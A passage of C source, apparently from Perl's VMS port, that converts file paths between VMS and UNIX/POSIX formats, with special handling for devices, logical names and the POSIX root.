cp2 = cp1 - 1;
if (*cp2 != '^') {
/* Found illegal VMS, assume UNIX */
cmp_rslt = 1;
break;
}
cp1++;
cp1 = strchr(cp1, '/');
}
}
/* Look for "." and ".." */
if (DECC_FILENAME_UNIX_REPORT) {
if (spec[0] == '.') {
if ((spec[1] == '\0') || (spec[1] == '\n')) {
cmp_rslt = 1;
}
else {
if ((spec[1] == '.') && ((spec[2] == '\0') || (spec[2] == '\n'))) {
cmp_rslt = 1;
}
}
}
}
cp1 = rslt;
cp2 = spec;
/* This is already UNIX or at least nothing VMS understands,
* so all we can reasonably do is unescape extended chars.
*/
if (cmp_rslt) {
while (*cp2) {
cp2 += copy_expand_vms_filename_escape(cp1, cp2, &outchars_added);
cp1 += outchars_added;
}
*cp1 = '\0';
if (vms_debug_fileify) {
fprintf(stderr, "int_tounixspec: rslt = %s\n", rslt);
}
return rslt;
}
dirend = strrchr(spec,']');
if (dirend == NULL) dirend = strrchr(spec,'>');
if (dirend == NULL) dirend = strchr(spec,':');
if (dirend == NULL) {
while (*cp2) {
cp2 += copy_expand_vms_filename_escape(cp1, cp2, &outchars_added);
cp1 += outchars_added;
}
*cp1 = '\0';
if (vms_debug_fileify) {
fprintf(stderr, "int_tounixspec: rslt = %s\n", rslt);
}
return rslt;
}
/* Special case 1 - sys$posix_root = / */
if (!DECC_DISABLE_POSIX_ROOT) {
if (strncasecmp(spec, "SYS$POSIX_ROOT:", 15) == 0) {
*cp1 = '/';
cp1++;
cp2 = cp2 + 15;
}
}
/* Special case 2 - Convert NLA0: to /dev/null */
cmp_rslt = strncasecmp(spec,"NLA0:", 5);
if (cmp_rslt == 0) {
strcpy(rslt, "/dev/null");
cp1 = cp1 + 9;
cp2 = cp2 + 5;
if (spec[6] != '\0') {
cp1[9] = '/';
cp1++;
cp2++;
}
}
/* Also handle special case "SYS$SCRATCH:" */
cmp_rslt = strncasecmp(spec,"SYS$SCRATCH:", 12);
tmp = (char *)PerlMem_malloc(VMS_MAXRSS);
if (tmp == NULL) _ckvmssts_noperl(SS$_INSFMEM);
if (cmp_rslt == 0) {
int islnm;
islnm = simple_trnlnm("TMP", tmp, VMS_MAXRSS-1);
if (!islnm) {
strcpy(rslt, "/tmp");
cp1 = cp1 + 4;
cp2 = cp2 + 12;
if (spec[12] != '\0') {
cp1[4] = '/';
cp1++;
cp2++;
}
}
}
if (*cp2 != '[' && *cp2 != '<') {
*(cp1++) = '/';
}
else { /* the VMS spec begins with directories */
cp2++;
if (*cp2 == ']' || *cp2 == '>') {
*(cp1++) = '.';
*(cp1++) = '/';
}
else if ( *cp2 != '^' && *cp2 != '.' && *cp2 != '-') { /* add the implied device */
if (getcwd(tmp, VMS_MAXRSS-1 ,1) == NULL) {
PerlMem_free(tmp);
if (vms_debug_fileify) {
fprintf(stderr, "int_tounixspec: rslt = NULL\n");
}
return NULL;
}
trnlnm_iter_count = 0;
do {
cp3 = tmp;
while (*cp3 != ':' && *cp3) cp3++;
*(cp3++) = '\0';
if (strchr(cp3,']') != NULL) break;
trnlnm_iter_count++;
if (trnlnm_iter_count >= PERL_LNM_MAX_ITER+1) break;
} while (vmstrnenv(tmp,tmp,0,fildev,0));
cp1 = rslt;
cp3 = tmp;
*(cp1++) = '/';
while (*cp3) {
*(cp1++) = *(cp3++);
if (cp1 - rslt > (VMS_MAXRSS - 1)) {
PerlMem_free(tmp);
set_errno(ENAMETOOLONG);
set_vaxc_errno(SS$_BUFFEROVF);
if (vms_debug_fileify) {
fprintf(stderr, "int_tounixspec: rslt = NULL\n");
}
return NULL; /* No room */
}
}
*(cp1++) = '/';
}
if ((*cp2 == '^')) {
cp2 += copy_expand_vms_filename_escape(cp1, cp2, &outchars_added);
cp1 += outchars_added;
}
else if ( *cp2 == '.') {
if (*(cp2+1) == '.' && *(cp2+2) == '.') {
*(cp1++) = '.'; *(cp1++) = '.'; *(cp1++) = '.'; *(cp1++) = '/';
cp2 += 3;
}
else cp2++;
}
}
PerlMem_free(tmp);
for (; cp2 <= dirend; cp2++) {
if ((*cp2 == '^')) {
/* EFS file escape -- unescape it. */
cp2 += copy_expand_vms_filename_escape(cp1, cp2, &outchars_added) - 1;
cp1 += outchars_added;
}
else if (*cp2 == ':') {
*(cp1++) = '/';
if (*(cp2+1) == '[' || *(cp2+1) == '<') cp2++;
}
else if (*cp2 == ']' || *cp2 == '>') {
if (*(cp1-1) != '/') *(cp1++) = '/'; /* Don't double after ellipsis */
}
else if ((*cp2 == '.') && (*cp2-1 != '^')) {
*(cp1++) = '/';
if (*(cp2+1) == ']' || *(cp2+1) == '>') {
while (*(cp2+1) == ']' || *(cp2+1) == '>' ||
*(cp2+1) == '[' || *(cp2+1) == '<') cp2++;
if (memEQs(cp2,7,"[000000") && (*(cp2+7) == ']' ||
*(cp2+7) == '>' || *(cp2+7) == '.')) cp2 += 7;
}
else if ( *(cp2+1) == '.' && *(cp2+2) == '.') {
*(cp1++) = '.'; *(cp1++) = '.'; *(cp1++) = '.'; *(cp1++) ='/';
cp2 += 2;
}
}
else if (*cp2 == '-') {
if (*(cp2-1) == '[' || *(cp2-1) == '<' || *(cp2-1) == '.') {
while (*cp2 == '-') {
cp2++;
*(cp1++) = '.'; *(cp1++) = '.'; *(cp1++) = '/';
}
if (*cp2 != '.' && *cp2 != ']' && *cp2 != '>') { /* we don't allow */
/* filespecs like */
set_errno(EINVAL); set_vaxc_errno(RMS$_SYN); /* [fred.--foo.bar] */
if (vms_debug_fileify) {
fprintf(stderr, "int_tounixspec: rslt = NULL\n");
}
return NULL;
}
}
else *(cp1++) = *cp2;
}
else *(cp1++) = *cp2;
}
/* Translate the rest of the filename. */
while (*cp2) {
int dot_seen = 0;
switch(*cp2) {
/* Fixme - for compatibility with the CRTL we should be removing */
/* spaces from the file specifications, but this may show that */
/* some tests that were appearing to pass are not really passing */
case '%':
cp2++;
*(cp1++) = '?';
break;
case '^':
cp2 += copy_expand_vms_filename_escape(cp1, cp2, &outchars_added);
cp1 += outchars_added;
break;
case ';':
if (DECC_FILENAME_UNIX_NO_VERSION) {
/* Easy, drop the version */
while (*cp2)
cp2++;
break;
} else {
/* Punt - passing the version as a dot will probably */
/* break perl in weird ways, but so did passing */
/* through the ; as a version. Follow the CRTL and */
/* hope for the best. */
cp2++;
*(cp1++) = '.';
}
break;
case '.':
if (dot_seen) {
/* We will need to fix this properly later */
/* As Perl may be installed on an ODS-5 volume, but not */
/* have the EFS_CHARSET enabled, it still may encounter */
/* filenames with extra dots in them, and a precedent got */
/* set which allowed them to work, that we will uphold here */
/* If extra dots are present in a name and no ^ is on them */
/* VMS assumes that the first one is the extension delimiter */
/* the rest have an implied ^. */
/* this is also a conflict as the . is also a version */
/* delimiter in VMS, */
*(cp1++) = *(cp2++);
break;
}
dot_seen = 1;
/* This is an extension */
if (DECC_READDIR_DROPDOTNOTYPE) {
cp2++;
if ((!*cp2) || (*cp2 == ';') || (*cp2 == '.')) {
/* Drop the dot for the extension */
break;
} else {
*(cp1++) = '.';
}
break;
}
default:
*(cp1++) = *(cp2++);
}
}
*cp1 = '\0';
/* This still leaves /000000/ when working with a
* VMS device root or concealed root.
*/
{
int ulen;
char * zeros;
ulen = strlen(rslt);
/* Get rid of "000000/ in rooted filespecs */
if (ulen > 7) {
zeros = strstr(rslt, "/000000/");
if (zeros != NULL) {
int mlen;
mlen = ulen - (zeros - rslt) - 7;
memmove(zeros, &zeros[7], mlen);
ulen = ulen - 7;
rslt[ulen] = '\0';
}
}
}
if (vms_debug_fileify) {
fprintf(stderr, "int_tounixspec: rslt = %s\n", rslt);
}
return rslt;
} /* end of int_tounixspec() */
/*{{{ char *tounixspec[_ts](char *spec, char *buf, int *)*/
static char *
mp_do_tounixspec(pTHX_ const char *spec, char *buf, int ts, int * utf8_fl)
{
static char __tounixspec_retbuf[VMS_MAXRSS];
char * unixspec, *ret_spec, *ret_buf;
unixspec = NULL;
ret_buf = buf;
if (ret_buf == NULL) {
if (ts) {
Newx(unixspec, VMS_MAXRSS, char);
if (unixspec == NULL)
_ckvmssts(SS$_INSFMEM);
ret_buf = unixspec;
} else {
ret_buf = __tounixspec_retbuf;
}
}
ret_spec = int_tounixspec(spec, ret_buf, utf8_fl);
if (ret_spec == NULL) {
/* Cleanup on isle 5, if this is thread specific we need to deallocate */
if (unixspec)
Safefree(unixspec);
}
return ret_spec;
} /* end of do_tounixspec() */
/*}}}*/
/* External entry points */
char *
Perl_tounixspec(pTHX_ const char *spec, char *buf)
{
return do_tounixspec(spec, buf, 0, NULL);
}
char *
Perl_tounixspec_ts(pTHX_ const char *spec, char *buf)
{
return do_tounixspec(spec,buf,1, NULL);
}
char *
Perl_tounixspec_utf8(pTHX_ const char *spec, char *buf, int * utf8_fl)
{
return do_tounixspec(spec,buf,0, utf8_fl);
}
char *
Perl_tounixspec_utf8_ts(pTHX_ const char *spec, char *buf, int * utf8_fl)
{
return do_tounixspec(spec,buf,1, utf8_fl);
}
/*
This procedure is used to identify if a path is based in either
the old SYS$POSIX_ROOT: or the new 8.3 RMS based POSIX root, and
it returns the OpenVMS format directory for it.
It is expecting specifications of only '/' or '/xxxx/'
If a posix root does not exist, or 'xxxx' is not a directory
in the posix root, it returns a failure.
FIX-ME: xxxx could be in UTF-8 and needs to be returned in VTF-7.
It is used only internally by posix_to_vmsspec_hardway().
*/
static int
posix_root_to_vms(char *vmspath, int vmspath_len,
const char *unixpath, const int * utf8_fl)
{
int sts;
struct FAB myfab = cc$rms_fab;
rms_setup_nam(mynam);
struct dsc$descriptor_s dvidsc = {0, DSC$K_DTYPE_T, DSC$K_CLASS_S, 0};
struct dsc$descriptor_s specdsc = {0, DSC$K_DTYPE_T, DSC$K_CLASS_S, 0};
char * esa, * esal, * rsa, * rsal;
int dir_flag;
int unixlen;
dir_flag = 0;
vmspath[0] = '\0';
unixlen = strlen(unixpath);
if (unixlen == 0) {
return RMS$_FNF;
}
#if __CRTL_VER >= 80200000
/* If not a posix spec already, convert it */
if (DECC_POSIX_COMPLIANT_PATHNAMES) {
if (! strBEGINs(unixpath,"\"^UP^")) {
sprintf(vmspath,"\"^UP^%s\"",unixpath);
}
else {
/* This is already a VMS specification, no conversion */
unixlen--;
my_strlcpy(vmspath, unixpath, vmspath_len + 1);
}
}
else
#endif
{
int path_len;
int i,j;
/* Check to see if this is under the POSIX root */
if (DECC_DISABLE_POSIX_ROOT) {
return RMS$_FNF;
}
/* Skip leading / */
if (unixpath[0] == '/') {
unixpath++;
unixlen--;
}
strcpy(vmspath,"SYS$POSIX_ROOT:");
/* If this is only the / , or blank, then... */
if (unixpath[0] == '\0') {
/* by definition, this is the answer */
return SS$_NORMAL;
}
/* Need to look up a directory */
vmspath[15] = '[';
vmspath[16] = '\0';
/* Copy and add '^' escape characters as needed */
j = 16;
i = 0;
while (unixpath[i] != 0) {
int k;
j += copy_expand_unix_filename_escape
(&vmspath[j], &unixpath[i], &k, utf8_fl);
i += k;
}
path_len = strlen(vmspath);
if (vmspath[path_len - 1] == '/')
path_len--;
vmspath[path_len] = ']';
path_len++;
vmspath[path_len] = '\0';
}
vmspath[vmspath_len] = 0;
if (unixpath[unixlen - 1] == '/')
dir_flag = 1;
esal = (char *)PerlMem_malloc(VMS_MAXRSS);
if (esal == NULL) _ckvmssts_noperl(SS$_INSFMEM);
esa = (char *)PerlMem_malloc(NAM$C_MAXRSS + 1);
if (esa == NULL) _ckvmssts_noperl(SS$_INSFMEM);
rsal = (char *)PerlMem_malloc(VMS_MAXRSS);
if (rsal == NULL) _ckvmssts_noperl(SS$_INSFMEM);
rsa = (char *)PerlMem_malloc(NAM$C_MAXRSS + 1);
if (rsa == NULL) _ckvmssts_noperl(SS$_INSFMEM);
rms_set_fna(myfab, mynam, (char *) vmspath, strlen(vmspath)); /* cast ok */
rms_bind_fab_nam(myfab, mynam);
rms_set_esal(mynam, esa, NAM$C_MAXRSS, esal, VMS_MAXRSS - 1);
rms_set_rsal(mynam, rsa, NAM$C_MAXRSS, rsal, VMS_MAXRSS - 1);
if (DECC_EFS_CASE_PRESERVE)
mynam.naml$b_nop |= NAM$M_NO_SHORT_UPCASE;
#ifdef NAML$M_OPEN_SPECIAL
mynam.naml$l_input_flags |= NAML$M_OPEN_SPECIAL;
#endif
/* Set up the remaining naml fields */
sts = sys$parse(&myfab);
/* It failed! Try again as a UNIX filespec */
if (!(sts & 1)) {
PerlMem_free(esal);
PerlMem_free(esa);
PerlMem_free(rsal);
PerlMem_free(rsa);
return sts;
}
/* get the Device ID and the FID */
sts = sys$search(&myfab);
/* These are no longer needed */
PerlMem_free(esa);
PerlMem_free(rsal);
PerlMem_free(rsa);
/* on any failure, returned the POSIX ^UP^ filespec */
if (!(sts & 1)) {
PerlMem_free(esal);
return sts;
}
specdsc.dsc$a_pointer = vmspath;
specdsc.dsc$w_length = vmspath_len;
dvidsc.dsc$a_pointer = &mynam.naml$t_dvi[1];
dvidsc.dsc$w_length = mynam.naml$t_dvi[0];
sts = lib$fid_to_name
(&dvidsc, mynam.naml$w_fid, &specdsc, &specdsc.dsc$w_length);
/* on any failure, returned the POSIX ^UP^ filespec */
if (!(sts & 1)) {
/* This can happen if user does not have permission to read directories */
if (! strBEGINs(unixpath,"\"^UP^"))
sprintf(vmspath,"\"^UP^%s\"",unixpath);
else
my_strlcpy(vmspath, unixpath, vmspath_len + 1);
}
else {
vmspath[specdsc.dsc$w_length] = 0;
/* Are we expecting a directory? */
if (dir_flag != 0) {
int i;
char *eptr;
eptr = NULL;
i = specdsc.dsc$w_length - 1;
while (i > 0) {
int zercnt;
zercnt = 0;
/* Version must be '1' */
if (vmspath[i--] != '1')
break;
/* Version delimiter is one of ".;" */
if ((vmspath[i] != '.') && (vmspath[i] != ';'))
break;
i--;
if (vmspath[i--] != 'R')
break;
if (vmspath[i--] != 'I')
break;
if (vmspath[i--] != 'D')
break;
if (vmspath[i--] != '.')
break;
eptr = &vmspath[i+1];
while (i > 0) {
if ((vmspath[i] == ']') || (vmspath[i] == '>')) {
if (vmspath[i-1] != '^') {
if (zercnt != 6) {
*eptr = vmspath[i];
eptr[1] = '\0';
vmspath[i] = '.';
break;
}
else {
/* Get rid of 6 imaginary zero directory filename */
vmspath[i+1] = '\0';
}
}
}
if (vmspath[i] == '0')
zercnt++;
else
zercnt = 10;
i--;
}
break;
}
}
}
PerlMem_free(esal);
return sts;
}
/* /dev/mumble needs to be handled special.
/dev/null becomes NLA0:, And there is the potential for other stuff
like /dev/tty which may need to be mapped to something.
*/
static int
slash_dev_special_to_vms(const char *unixptr, char *vmspath, int vmspath_len)
{
char * nextslash;
int len;
unixptr += 4;
nextslash = strchr(unixptr, '/');
len = strlen(unixptr);
if (nextslash != NULL)
len = nextslash - unixptr;
if (strEQ(unixptr, "null")) {
if (vmspath_len >= 6) {
strcpy(vmspath, "_NLA0:");
return SS$_NORMAL;
}
}
return 0;
}
/* The built in routines do not understand perl's special needs, so
doing a manual conversion from UNIX to VMS
If the utf8_fl is not null and points to a non-zero value, then
treat 8 bit characters as UTF-8.
The sequence starting with '$(' and ending with ')' will be passed
through with out interpretation instead of being escaped.
*/
static int
posix_to_vmsspec_hardway(char *vmspath, int vmspath_len, const char *unixpath,
int dir_flag, int * utf8_fl)
{
char *esa;
const char *unixptr;
const char *unixend;
char *vmsptr;
const char *lastslash;
const char *lastdot;
int unixlen;
int vmslen;
int dir_start;
int dir_dot;
int quoted;
char * v_spec, * r_spec, * d_spec, * n_spec, * e_spec, * vs_spec;
int sts, v_len, r_len, d_len, n_len, e_len, vs_len;
if (utf8_fl != NULL)
*utf8_fl = 0;
unixptr = unixpath;
dir_dot = 0;
/* Ignore leading "/" characters */
while((unixptr[0] == '/') && (unixptr[1] == '/')) {
unixptr++;
}
unixlen = strlen(unixptr);
/* Do nothing with blank paths */
if (unixlen == 0) {
vmspath[0] = '\0';
return SS$_NORMAL;
}
quoted = 0;
/* This could have a "^UP^ on the front */
if (strBEGINs(unixptr,"\"^UP^")) {
quoted = 1;
unixptr+= 5;
unixlen-= 5;
}
lastslash = strrchr(unixptr,'/');
lastdot = strrchr(unixptr,'.');
unixend = strrchr(unixptr,'\"');
if (!quoted || !((unixend != NULL) && (unixend[1] == '\0'))) {
unixend = unixptr + unixlen;
}
/* last dot is last dot or past end of string */
if (lastdot == NULL)
lastdot = unixptr + unixlen;
/* if no directories, set last slash to beginning of string */
if (lastslash == NULL) {
lastslash = unixptr;
}
else {
/* Watch out for trailing "." after last slash, still a directory */
if ((lastslash[1] == '.') && (lastslash[2] == '\0')) {
lastslash = unixptr + unixlen;
}
/* Watch out for trailing ".." after last slash, still a directory */
if ((lastslash[1] == '.')&&(lastslash[2] == '.')&&(lastslash[3] == '\0')) {
lastslash = unixptr + unixlen;
}
/* dots in directories are aways escaped */
if (lastdot < lastslash)
lastdot = unixptr + unixlen;
}
/* if (unixptr < lastslash) then we are in a directory */
dir_start = 0;
vmsptr = vmspath;
vmslen = 0;
/* Start with the UNIX path */
if (*unixptr != '/') {
/* relative paths */
/* If allowing logical names on relative pathnames, then handle here */
if ((unixptr[0] != '.') && !DECC_DISABLE_TO_VMS_LOGNAME_TRANSLATION &&
!DECC_POSIX_COMPLIANT_PATHNAMES) {
char * nextslash;
int seg_len;
char * trn;
int islnm;
/* Find the next slash */
nextslash = strchr(unixptr,'/');
esa = (char *)PerlMem_malloc(vmspath_len);
if (esa == NULL) _ckvmssts_noperl(SS$_INSFMEM);
trn = (char *)PerlMem_malloc(VMS_MAXRSS);
if (trn == NULL) _ckvmssts_noperl(SS$_INSFMEM);
if (nextslash != NULL) {
seg_len = nextslash - unixptr;
memcpy(esa, unixptr, seg_len);
esa[seg_len] = 0;
}
else {
seg_len = my_strlcpy(esa, unixptr, sizeof(esa));
}
/* trnlnm(section) */
islnm = vmstrnenv(esa, trn, 0, fildev, 0);
if (islnm) {
/* Now fix up the directory */
/* Split up the path to find the components */
sts = vms_split_path
(trn,
&v_spec,
&v_len,
&r_spec,
&r_len,
&d_spec,
&d_len,
&n_spec,
&n_len,
&e_spec,
&e_len,
&vs_spec,
&vs_len);
while (sts == 0) {
/* A logical name must be a directory or the full
specification. It is only a full specification if
it is the only component */
if ((unixptr[seg_len] == '\0') ||
(unixptr[seg_len+1] == '\0')) {
/* Is a directory being required? */
if (((n_len + e_len) != 0) && (dir_flag !=0)) {
/* Not a logical name */
break;
}
if ((unixptr[seg_len] == '/') || (dir_flag != 0)) {
/* This must be a directory */
if (((n_len + e_len) == 0)&&(seg_len <= vmspath_len)) {
vmslen = my_strlcpy(vmsptr, esa, vmspath_len - 1);
vmsptr[vmslen] = ':';
vmslen++;
vmsptr[vmslen] = '\0';
return SS$_NORMAL;
}
}
}
/* must be dev/directory - ignore version */
if ((n_len + e_len) != 0)
break;
/* transfer the volume */
if (v_len > 0 && ((v_len + vmslen) < vmspath_len)) {
memcpy(vmsptr, v_spec, v_len);
vmsptr += v_len;
vmsptr[0] = '\0';
vmslen += v_len;
}
/* unroot the rooted directory */
if ((r_len > 0) && ((r_len + d_len + vmslen) < vmspath_len)) {
r_spec[0] = '[';
r_spec[r_len - 1] = ']';
/* This should not be there, but nothing is perfect */
if (r_len > 9) {
if (strEQ(&r_spec[1], "000000.")) {
r_spec += 7;
r_spec[7] = '[';
r_len -= 7;
if (r_len == 2)
r_len = 0;
}
}
if (r_len > 0) {
memcpy(vmsptr, r_spec, r_len);
vmsptr += r_len;
vmslen += r_len;
vmsptr[0] = '\0';
}
}
/* Bring over the directory. */
if ((d_len > 0) &&
((d_len + vmslen) < vmspath_len)) {
d_spec[0] = '[';
d_spec[d_len - 1] = ']';
if (d_len > 9) {
if (strEQ(&d_spec[1], "000000.")) {
d_spec += 7;
d_spec[7] = '[';
d_len -= 7;
if (d_len == 2)
d_len = 0;
}
}
if (r_len > 0) {
/* Remove the redundant root */
if (r_len > 0) {
/* remove the ][ */
vmsptr--;
vmslen--;
d_spec++;
d_len--;
}
memcpy(vmsptr, d_spec, d_len);
vmsptr += d_len;
vmslen += d_len;
vmsptr[0] = '\0';
}
}
break;
}
}
PerlMem_free(esa);
PerlMem_free(trn);
}
if (lastslash > unixptr) {
int dotdir_seen;
/* skip leading ./ */
dotdir_seen = 0;
while ((unixptr[0] == '.') && (unixptr[1] == '/')) {
dotdir_seen = 1;
unixptr++;
unixptr++;
}
/* Are we still in a directory? */
if (unixptr <= lastslash) {
*vmsptr++ = '[';
vmslen = 1;
dir_start = 1;
/* if not backing up, then it is relative forward. */
if (!((*unixptr == '.') && (unixptr[1] == '.') &&
((unixptr[2] == '/') || (&unixptr[2] == unixend)))) {
*vmsptr++ = '.';
vmslen++;
dir_dot = 1;
}
}
else {
if (dotdir_seen) {
/* Perl wants an empty directory here to tell the difference
* between a DCL command and a filename
*/
*vmsptr++ = '[';
*vmsptr++ = ']';
vmslen = 2;
}
}
}
else {
/* Handle two special files . and .. */
if (unixptr[0] == '.') {
if (&unixptr[1] == unixend) {
*vmsptr++ = '[';
*vmsptr++ = ']';
vmslen += 2;
*vmsptr++ = '\0';
return SS$_NORMAL;
}
if ((unixptr[1] == '.') && (&unixptr[2] == unixend)) {
*vmsptr++ = '[';
*vmsptr++ = '-';
*vmsptr++ = ']';
vmslen += 3;
*vmsptr++ = '\0';
return SS$_NORMAL;
}
}
}
}
else { /* Absolute PATH handling */
int sts;
char * nextslash;
int seg_len;
/* Need to find out where root is */
/* In theory, this procedure should never get an absolute POSIX pathname
* that can not be found on the POSIX root.
* In practice, that can not be relied on, and things will show up
* here that are a VMS device name or concealed logical name instead.
* So to make things work, this procedure must be tolerant.
*/
esa = (char *)PerlMem_malloc(vmspath_len);
if (esa == NULL) _ckvmssts_noperl(SS$_INSFMEM);
sts = SS$_NORMAL;
nextslash = strchr(&unixptr[1],'/');
seg_len = 0;
if (nextslash != NULL) {
seg_len = nextslash - &unixptr[1];
my_strlcpy(vmspath, unixptr, seg_len + 2);
if (memEQs(vmspath, seg_len, "dev")) {
sts = slash_dev_special_to_vms(unixptr, vmspath, vmspath_len);
if (sts == SS$_NORMAL)
return SS$_NORMAL;
}
sts = posix_root_to_vms(esa, vmspath_len, vmspath, utf8_fl);
}
if ($VMS_STATUS_SUCCESS(sts)) {
/* This is verified to be a real path */
sts = posix_root_to_vms(esa, vmspath_len, "/", NULL);
if ($VMS_STATUS_SUCCESS(sts)) {
vmslen = my_strlcpy(vmspath, esa, vmspath_len + 1);
vmsptr = vmspath + vmslen;
unixptr++;
if (unixptr < lastslash) {
char * rptr;
vmsptr--;
*vmsptr++ = '.';
dir_start = 1;
dir_dot = 1;
if (vmslen > 7) {
rptr = vmsptr - 7;
if (strEQ(rptr,"000000.")) {
vmslen -= 7;
vmsptr -= 7;
vmsptr[1] = '\0';
} /* removing 6 zeros */
} /* vmslen < 7, no 6 zeros possible */
} /* Not in a directory */
} /* Posix root found */
else {
/* No posix root, fall back to default directory */
strcpy(vmspath, "SYS$DISK:[");
vmsptr = &vmspath[10];
vmslen = 10;
if (unixptr > lastslash) {
*vmsptr = ']';
vmsptr++;
vmslen++;
}
else {
dir_start = 1;
}
}
} /* end of verified real path handling */
else {
int add_6zero;
int islnm;
/* Ok, we have a device or a concealed root that is not in POSIX
* or we have garbage. Make the best of it.
*/
/* Posix to VMS destroyed this, so copy it again */
my_strlcpy(vmspath, &unixptr[1], seg_len + 1);
vmslen = strlen(vmspath); /* We know we're truncating. */
vmsptr = &vmsptr[vmslen];
islnm = 0;
/* Now do we need to add the fake 6 zero directory to it? */
add_6zero = 1;
if ((*lastslash == '/') && (nextslash < lastslash)) {
/* No there is another directory */
add_6zero = 0;
}
else {
int trnend;
/* now we have foo:bar or foo:[000000]bar to decide from */
islnm = vmstrnenv(vmspath, esa, 0, fildev, 0);
if (!islnm && !DECC_POSIX_COMPLIANT_PATHNAMES) {
if (strEQ(vmspath, "bin")) {
/* bin => SYS$SYSTEM: */
islnm = vmstrnenv("SYS$SYSTEM:", esa, 0, fildev, 0);
}
else {
/* tmp => SYS$SCRATCH: */
if (strEQ(vmspath, "tmp")) {
islnm = vmstrnenv("SYS$SCRATCH:", esa, 0, fildev, 0);
}
}
}
trnend = islnm ? islnm - 1 : 0;
/* if this was a logical name, ']' or '>' must be present */
/* if not a logical name, then assume a device and hope. */
islnm = trnend ? (esa[trnend] == ']' || esa[trnend] == '>') : 0;
/* if log name and trailing '.' then rooted - treat as device */
add_6zero = islnm ? (esa[trnend-1] == '.') : 0;
/* Fix me, if not a logical name, a device lookup should be
* done to see if the device is file structured. If the device
* is not file structured, the 6 zeros should not be put on.
*
* As it is, perl is occasionally looking for dev:[000000]tty.
* which looks a little strange.
*
* Not that easy to detect as "/dev" may be file structured with
* special device files.
*/
if (!islnm && (add_6zero == 0) && (*nextslash == '/') &&
(&nextslash[1] == unixend)) {
/* No real directory present */
add_6zero = 1;
}
}
/* Put the device delimiter on */
*vmsptr++ = ':';
vmslen++;
unixptr = nextslash;
unixptr++;
/* Start directory if needed */
if (!islnm || add_6zero) {
*vmsptr++ = '[';
vmslen++;
dir_start = 1;
}
/* add fake 000000] if needed */
if (add_6zero) {
*vmsptr++ = '0';
*vmsptr++ = '0';
*vmsptr++ = '0';
*vmsptr++ = '0';
*vmsptr++ = '0';
*vmsptr++ = '0';
*vmsptr++ = ']';
vmslen += 7;
dir_start = 0;
}
} /* non-POSIX translation */
PerlMem_free(esa);
} /* End of relative/absolute path handling */
while ((unixptr <= unixend) && (vmslen < vmspath_len)){
int dash_flag;
int in_cnt;
int out_cnt;
dash_flag = 0;
if (dir_start != 0) {
/* First characters in a directory are handled special */
while ((*unixptr == '/') ||
((*unixptr == '.') &&
((unixptr[1]=='.') || (unixptr[1]=='/') ||
(&unixptr[1]==unixend)))) {
int loop_flag;
loop_flag = 0;
/* Skip redundant / in specification */
while ((*unixptr == '/') && (dir_start != 0)) {
loop_flag = 1;
unixptr++;
if (unixptr == lastslash)
break;
}
if (unixptr == lastslash)
break;
/* Skip redundant ./ characters */
while ((*unixptr == '.') &&
((unixptr[1] == '/')||(&unixptr[1] == unixend))) {
loop_flag = 1;
unixptr++;
if (unixptr == lastslash)
break;
if (*unixptr == '/')
unixptr++;
}
if (unixptr == lastslash)
break;
/* Skip redundant ../ characters */
while ((*unixptr == '.') && (unixptr[1] == '.') &&
((unixptr[2] == '/') || (&unixptr[2] == unixend))) {
/* Set the backing up flag */
loop_flag = 1;
dir_dot = 0;
dash_flag = 1;
*vmsptr++ = '-';
vmslen++;
unixptr++; /* first . */
unixptr++; /* second . */
if (unixptr == lastslash)
break;
if (*unixptr == '/') /* The slash */
unixptr++;
}
if (unixptr == lastslash)
break;
/* To do: Perl expects /.../ to be translated to [...] on VMS */
/* Not needed when VMS is pretending to be UNIX. */
/* Is this loop stuck because of too many dots? */
if (loop_flag == 0) {
/* Exit the loop and pass the rest through */
break;
}
}
/* Are we done with directories yet? */
if (unixptr >= lastslash) {
/* Watch out for trailing dots */
if (dir_dot != 0) {
vmslen --;
vmsptr--;
}
*vmsptr++ = ']';
vmslen++;
dash_flag = 0;
dir_start = 0;
if (*unixptr == '/')
unixptr++;
}
else {
/* Have we stopped backing up? */
if (dash_flag) {
*vmsptr++ = '.';
vmslen++;
dash_flag = 0;
/* dir_start continues to be = 1 */
}
if (*unixptr == '-') {
*vmsptr++ = '^';
*vmsptr++ = *unixptr++;
vmslen += 2;
dir_start = 0;
/* Now are we done with directories yet? */
if (unixptr >= lastslash) {
/* Watch out for trailing dots */
if (dir_dot != 0) {
vmslen --;
vmsptr--;
}
*vmsptr++ = ']';
vmslen++;
dash_flag = 0;
dir_start = 0;
}
}
}
}
/* All done? */
if (unixptr >= unixend)
break;
/* Normal characters - More EFS work probably needed */
dir_start = 0;
dir_dot = 0;
switch(*unixptr) {
case '/':
/* remove multiple / */
while (unixptr[1] == '/') {
unixptr++;
}
if (unixptr == lastslash) {
/* Watch out for trailing dots */
if (dir_dot != 0) {
vmslen --;
vmsptr--;
}
*vmsptr++ = ']';
}
else {
dir_start = 1;
*vmsptr++ = '.';
dir_dot = 1;
/* To do: Perl expects /.../ to be translated to [...] on VMS */
/* Not needed when VMS is pretending to be UNIX. */
}
dash_flag = 0;
if (unixptr != unixend)
unixptr++;
vmslen++;
break;
case '.':
if ((unixptr < lastdot) || (unixptr < lastslash) ||
(&unixptr[1] == unixend)) {
*vmsptr++ = '^';
*vmsptr++ = '.';
vmslen += 2;
unixptr++;
/* trailing dot ==> '^..' on VMS */
if (unixptr == unixend) {
*vmsptr++ = '.';
vmslen++;
unixptr++;
}
break;
}
*vmsptr++ = *unixptr++;
vmslen ++;
break;
case '"':
if (quoted && (&unixptr[1] == unixend)) {
unixptr++;
break;
}
in_cnt = copy_expand_unix_filename_escape
(vmsptr, unixptr, &out_cnt, utf8_fl);
vmsptr += out_cnt;
unixptr += in_cnt;
break;
case ';':
case '\\':
case '?':
case ' ':
default:
in_cnt = copy_expand_unix_filename_escape
(vmsptr, unixptr, &out_cnt, utf8_fl);
vmsptr += out_cnt;
unixptr += in_cnt;
break;
}
}
/* Make sure directory is closed */
if (unixptr == lastslash) {
char *vmsptr2;
vmsptr2 = vmsptr - 1;
if (*vmsptr2 != ']') {
*vmsptr2--;
/* directories do not end in a dot bracket */
if (*vmsptr2 == '.') {
vmsptr2--;
/* ^. is allowed */
if (*vmsptr2 != '^') {
vmsptr--; /* back up over the dot */
}
}
*vmsptr++ = ']';
}
}
else {
char *vmsptr2;
/* Add a trailing dot if a file with no extension */
vmsptr2 = vmsptr - 1;
if ((vmslen > 1) &&
(*vmsptr2 != ']') && (*vmsptr2 != '*') && (*vmsptr2 != '%') &&
(*vmsptr2 != ')') && (*lastdot != '.') && (*vmsptr2 != ':')) {
